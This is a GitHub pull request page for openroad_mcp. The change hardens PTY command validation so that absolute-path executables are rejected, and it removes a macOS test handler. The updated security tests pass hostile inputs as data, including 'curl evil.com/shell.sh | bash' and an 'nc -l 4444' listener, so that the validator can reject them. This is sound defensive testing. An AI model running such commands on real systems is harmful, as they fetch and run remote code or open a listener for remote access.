Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
43 commits
Select commit Hold shift + click to select a range
7c1185e
add vscode workspace settings for typescript sdk path
kartikloops Jun 12, 2026
aae2f60
add plan doc
kartikloops Jun 12, 2026
40517ea
add core session state and error models
kartikloops Jun 12, 2026
e222bbc
add interactive session error models
kartikloops Jun 12, 2026
17fb53e
add circular buffer for pty output
kartikloops Jun 12, 2026
64542ed
add pty handler for managing node-pty processes
kartikloops Jun 12, 2026
11780e7
add interactive session manager
kartikloops Jun 12, 2026
0540afa
add tests for circular buffer
kartikloops Jun 12, 2026
1fd693b
add tests for command validation
kartikloops Jun 12, 2026
b182b9b
add tests for pty handler
kartikloops Jun 12, 2026
907bea4
add tests for interactive session
kartikloops Jun 12, 2026
b9cd166
update eslint config with coverage ignore and stricter rules
kartikloops Jun 12, 2026
edafb12
fix pending waiters, env cast and resolver types in pty handler
kartikloops Jun 12, 2026
fed1d4e
guard read chunk size against zero in session onData handler
kartikloops Jun 12, 2026
15871aa
add test for cleanup resolving pending waitForExit waiters
kartikloops Jun 12, 2026
40f64c8
add real openroad repl integration check script
kartikloops Jun 12, 2026
e88e49e
code cleanup
kartikloops Jun 12, 2026
dd62da5
Potential fix for pull request finding
kartikloops Jun 12, 2026
0f64b95
added case for READ_CHUNK_SIZE is larger than limit
kartikloops Jun 12, 2026
c9b578e
fix isAlive signaling shutdown when process death is detected
kartikloops Jun 13, 2026
f5e3e22
add test for isAlive shutdown signal on process death
kartikloops Jun 13, 2026
5e41bea
fix force terminate returning before alive flag clears
kartikloops Jun 13, 2026
9f6862e
update tests for force terminate waiting for exit
kartikloops Jun 13, 2026
d9ffce4
fix terminate not disposing pty listeners and pending waiters
kartikloops Jun 13, 2026
e9bd5cf
update terminate tests to assert pty cleanup is called
kartikloops Jun 13, 2026
7f6969d
fix clear not waking pending waitForData callers
kartikloops Jun 13, 2026
f86aecd
add regression test for clear waking pending waitForData callers
kartikloops Jun 13, 2026
68f96c7
signal shutdown in readOutput drain path so writer task does not loop…
kartikloops Jun 13, 2026
527b225
add regression test for readOutput signaling shutdown on dead session
kartikloops Jun 13, 2026
2856095
fix waitForData not re-checking dataAvailable under mutex after runEx…
kartikloops Jun 13, 2026
ac2735d
add regression test for waitForData race between fast-path check and …
kartikloops Jun 13, 2026
164ff9b
handle append rejection in onData handler to avoid silent data loss
kartikloops Jun 13, 2026
cfc55d3
add regression test for append rejection transitioning session to ter…
kartikloops Jun 13, 2026
a7615f3
move MacOSPTYHandler to production and add create_pty_handler factory
kartikloops Jun 13, 2026
77dc249
use create_pty_handler so macOS gets the keepalive and drain subclass
kartikloops Jun 13, 2026
d180b0f
remove duplicate MacOSPTYHandler from test file and import from produ…
kartikloops Jun 13, 2026
a4fac11
remove MacOSPTYHandler and create_pty_handler — not needed for PoC
kartikloops Jun 14, 2026
1145bf2
await SIGKILL exit in terminateProcess so cleanup cannot race the exi…
kartikloops Jun 14, 2026
8fe4419
block path traversal sequences in validateCommand argument check
kartikloops Jun 14, 2026
6dc1d7b
reject absolute paths in python validateCommand to match typescript b…
kartikloops Jun 14, 2026
4947dbe
truncate single oversized chunk to maxSize to enforce capacity invariant
kartikloops Jun 14, 2026
113fbda
throw on unrecognised boolean env vars and lazily init settings to pr…
kartikloops Jun 14, 2026
426d0b8
fix ansi decoder escape coverage, annotate mode cr handling, mode val…
kartikloops Jun 14, 2026
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 3 additions & 0 deletions .vscode/settings.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
{

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

why is this needed?

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Without it, every contributor who opens the repo in VS Code gets TypeScript errors or the wrong type-checker, because VS Code defaults to its own bundled TypeScript version rather than the project's. This file pins VS Code to use the TypeScript installed in typescript/node_modules/, so everyone gets consistent IntelliSense and error highlighting that matches what tsc actually sees.

It ensures VS Code uses the same TypeScript the build does.

"typescript.tsdk": "typescript/node_modules/typescript/lib"
}
13 changes: 10 additions & 3 deletions src/openroad_mcp/interactive/pty_handler.py
Original file line number Diff line number Diff line change
Expand Up @@ -35,12 +35,17 @@ def _validate_command(self, command: list[str]) -> None:

executable = command[0]

absolute_executable = os.path.basename(executable) if os.path.isabs(executable) else executable
if os.path.isabs(executable):
raise PTYError(
f"Command '{executable}' must not be an absolute path. "
f"Use the binary name only (e.g. 'openroad'). "
f"To add this command, set OPENROAD_ALLOWED_COMMANDS environment variable."
)

if absolute_executable not in settings.ALLOWED_COMMANDS:
if executable not in settings.ALLOWED_COMMANDS:
allowed_list = ", ".join(settings.ALLOWED_COMMANDS)
raise PTYError(
f"Command '{absolute_executable}' is not in the allowed commands list. "
f"Command '{executable}' is not in the allowed commands list. "
f"Allowed commands: {allowed_list}. "
f"To add this command, set OPENROAD_ALLOWED_COMMANDS environment variable."
)
Expand Down Expand Up @@ -285,3 +290,5 @@ async def cleanup(self) -> None:
self._original_attrs = None

logger.debug("PTY handler cleanup completed")


93 changes: 1 addition & 92 deletions tests/integration/test_pty_integration.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,6 @@

import asyncio
import os
import sys
from unittest.mock import patch

import pytest
Expand All @@ -12,96 +11,6 @@
from openroad_mcp.interactive.pty_handler import PTYHandler


class _MacOSPTYHandler(PTYHandler):
"""PTYHandler subclass for macOS.

Two macOS-specific problems combine to lose output from fast-exiting processes:

1. Buffer discard: when all slave-fd holders close, macOS discards the PTY
master's read buffer. Fix: dup the slave fd as a keepalive before the parent
closes it (via _before_slave_close) so the buffer survives child exit.

2. tcdrain deadlock: bash -c flushes stdout via tcdrain() before exiting.
tcdrain() blocks until the master fd is drained by the parent, but
wait_for_exit() only calls process.wait() without reading — deadlocking.
Fix: _drain_loop task continuously reads from master_fd so tcdrain()
always completes and bash exits normally.
"""

def __init__(self) -> None:
super().__init__()
self._output_buffer: bytearray = bytearray()
self._slave_keepalive_fd: int | None = None
self._reader_task: asyncio.Task | None = None

async def create_session(self, *args, **kwargs) -> None:
self._output_buffer.clear()
await self._stop_reader()
if self._slave_keepalive_fd is not None:
try:
os.close(self._slave_keepalive_fd)
except OSError:
pass
self._slave_keepalive_fd = None
await super().create_session(*args, **kwargs)
self._reader_task = asyncio.create_task(self._drain_loop())

def _before_slave_close(self, slave_fd: int) -> None:
# Dup before the parent closes so macOS never sees "no slave holders",
# preventing premature master buffer discard on child exit.
try:
self._slave_keepalive_fd = os.dup(slave_fd)
except OSError:
pass

async def _drain_loop(self) -> None:
while self.master_fd is not None:
try:
data = os.read(self.master_fd, 65536)
if data:
self._output_buffer.extend(data)
else:
break
except BlockingIOError:
await asyncio.sleep(0.001)
except OSError:
break

async def _stop_reader(self) -> None:
if self._reader_task is not None:
self._reader_task.cancel()
try:
await self._reader_task
except asyncio.CancelledError:
pass
self._reader_task = None

async def wait_for_exit(self, timeout: float | None = None) -> int | None:
result = await super().wait_for_exit(timeout=timeout)
if result is not None:
# Yield to _drain_loop so it can collect any output committed to the
# master buffer in the final moments before the process exited.
await asyncio.sleep(0.05)
return result

async def read_output(self, size: int | None = None) -> bytes | None: # noqa: ARG002
if self._output_buffer:
data = bytes(self._output_buffer)
self._output_buffer.clear()
return data
return None

async def cleanup(self) -> None:
await self._stop_reader()
if self._slave_keepalive_fd is not None:
try:
os.close(self._slave_keepalive_fd)
except OSError:
pass
self._slave_keepalive_fd = None
await super().cleanup()


def can_create_pty() -> bool:
"""Check if PTY creation is supported in current environment."""
try:
Expand Down Expand Up @@ -131,7 +40,7 @@ def disable_command_validation(self):
@pytest.fixture
async def pty_handler(self):
"""Create and cleanup PTY handler."""
handler = _MacOSPTYHandler() if sys.platform == "darwin" else PTYHandler()
handler = PTYHandler()
try:
yield handler
finally:
Expand Down
21 changes: 10 additions & 11 deletions tests/interactive/test_command_validation.py
Original file line number Diff line number Diff line change
Expand Up @@ -36,24 +36,23 @@ def test_validate_empty_command(self, pty_handler):

def test_validate_disallowed_command(self, pty_handler):
"""Test validation fails for disallowed commands."""
with pytest.raises(PTYError, match="not in the allowed commands list"):
pty_handler._validate_command(["/bin/bash"])

with pytest.raises(PTYError, match="not in the allowed commands list"):
pty_handler._validate_command(["python"])

with pytest.raises(PTYError, match="not in the allowed commands list"):
pty_handler._validate_command(["sh"])

def test_validate_absolute_path_allowed(self, pty_handler):
"""Test validation passes for absolute paths to allowed commands."""
pty_handler._validate_command(["/usr/bin/openroad", "-no_init"])
def test_validate_absolute_path_rejected(self, pty_handler):
"""Test validation rejects absolute paths regardless of basename."""
with pytest.raises(PTYError, match="absolute path"):
pty_handler._validate_command(["/usr/bin/openroad", "-no_init"])

def test_validate_absolute_path_disallowed(self, pty_handler):
"""Test validation fails for absolute paths to disallowed commands."""
with pytest.raises(PTYError, match="not in the allowed commands list"):
with pytest.raises(PTYError, match="absolute path"):
pty_handler._validate_command(["/bin/bash", "-c", "echo hello"])

with pytest.raises(PTYError, match="absolute path"):
pty_handler._validate_command(["/malicious/dir/openroad"])

def test_validate_shell_metacharacters_semicolon(self, pty_handler):
"""Test validation fails for semicolon in arguments."""
with pytest.raises(PTYError, match="contains shell metacharacters"):
Expand Down Expand Up @@ -164,7 +163,7 @@ def test_prevent_pipe_to_shell(self, pty_handler):

def test_prevent_malicious_script_execution(self, pty_handler):
"""Test prevention of malicious script execution."""
with pytest.raises(PTYError, match="not in the allowed commands list"):
with pytest.raises(PTYError, match="absolute path"):
pty_handler._validate_command(["/bin/bash", "-c", "curl evil.com/shell.sh | bash"])

def test_prevent_file_overwrite(self, pty_handler):
Expand All @@ -174,7 +173,7 @@ def test_prevent_file_overwrite(self, pty_handler):

def test_prevent_arbitrary_binary_execution(self, pty_handler):
"""Test prevention of arbitrary binary execution."""
with pytest.raises(PTYError, match="not in the allowed commands list"):
with pytest.raises(PTYError, match="absolute path"):
pty_handler._validate_command(["/usr/bin/nc", "-l", "4444"])

with pytest.raises(PTYError, match="not in the allowed commands list"):
Expand Down
Loading
Loading